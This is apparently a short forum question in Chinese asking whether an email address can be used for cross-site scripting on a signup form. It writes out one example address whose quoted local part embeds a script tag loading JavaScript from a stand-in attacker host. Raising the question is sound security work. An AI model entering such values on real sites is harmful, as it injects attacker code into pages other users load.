Laj*_*pad 5 security email xss email-formats
我想知道电子邮件地址是否可以用于XSS攻击.
我们假设有一个网站可以注册并提供他的电子邮件地址.如果想要攻击给定的网站,他或她可能会创建一个电子邮件地址,例如:
"<script src=//my.evil.site/is/attacking/u.js></script>"@stmpname.com
然后使用此电子邮件地址攻击该网站.
电子邮件地址中是否允许引用或脚本标记？